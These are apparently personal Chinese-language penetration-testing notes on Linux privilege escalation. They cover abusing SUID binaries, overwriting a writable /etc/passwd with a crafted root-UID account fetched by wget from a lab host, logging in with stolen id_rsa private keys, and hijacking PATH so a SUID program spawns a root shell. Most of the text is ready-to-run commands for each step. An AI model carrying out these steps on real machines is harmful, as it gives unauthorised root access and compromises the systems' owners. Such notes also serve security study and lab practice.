常见suid提权文件

nmap vim find more less bash cp Nano mv awk man wgets

https://gtfobins.github.io/

sudo install -m =xs $(which less) .

./less file_to_read

passwd提权

ls -al /etc/passwd
-rw-rw-rw-- 1 cc cc 2242  7月 13 11:23 /etc/passwd  #这里要求至少有w权限

root:x:0:0:root:/root:/bin/bash

openssl passwd -1 -salt coleak a123  
$1$coleak$ryLF7yBUFqHmhDrl7czEK1
coleak:$1$coleak$ryLF7yBUFqHmhDrl7czEK1:0:0:/root:/bin/bash

wget http://192.168.10.128/a -O /etc/passwd

ssh coleak@192.168.10.157       #su coleak

ssh密钥提权

查看拥有bash的用户

cat /etc/passwd | grep bash
find / -name authorized_keys -type f 2>/dev/null
cd /home/webper/.ssh

.ssh下文件含义

id_rsa(私钥)服务器上经过rsa算法生成的私钥。与公钥是一对的密钥对,用于连接其他服务器用。

id_rsa.pub(公钥)服务器上经过rsa算法生成的公钥。与私钥是一对的密钥对,用于连接其他服务器用。将主机A的id_rsa.pub内容copy到B主机的authorized_keys文件中,这样A主机就能不通过密码连接到B主机。

authorized_keys(授权文件)实现真正无密码连接,即为授权文件,当把master的公钥添加到authorized_keys文件中后,下次连接直接输入ssh master即可,不需要再次输入密码。

如果目标有使用id_rsa私钥进行登陆,并且我们有权限读取

可以将id_rsa下载或复制下来使用私钥进行登陆

md5sum id_rsa.pub
md5sum authorized_keys
chmod 600 id_rsa
ssh -i id_rsa web1@192.168.10.153

环境变量劫持提权

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games

环境劫持需要的两个条件 存在带有suid的文件suid文件存在系统命令

且这个文件中必须有系统命令,这样我们就可以命名一个和这个系统命令相同的文件写入/bin/bash;

再将存放这个文件的路径加入环境变量中,当系统去执行这个带有系统命令的文件时;就会直接执行我们命名和这个系统命令相同的文件;而非真实的系统命令;从而实现劫持环境变量提权。

寻找suid文件

find / -perm -u=s -type f 2>/dev/null

/script/shell

PID TTY          TIME CMD
  2666 pts/1    00:00:00 shell
  2667 pts/1    00:00:00 sh
  2668 pts/1    00:00:00 ps

xxd /script/shell |grep ps

知道调用了什么命令,我们就可以创建一个 ps文件,内容为执行 /bin/bash

并将自建ps文件所在目录加入到环境变量中,当再执行/script/shell时,系统会在环境变量中依次查找

并首先查找并执行到我们自建的ps文件,从而返回一个带有root的shell,而非原本的查看进程

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
export PATH=/tmp:$PATH
echo $PATH
/script/shell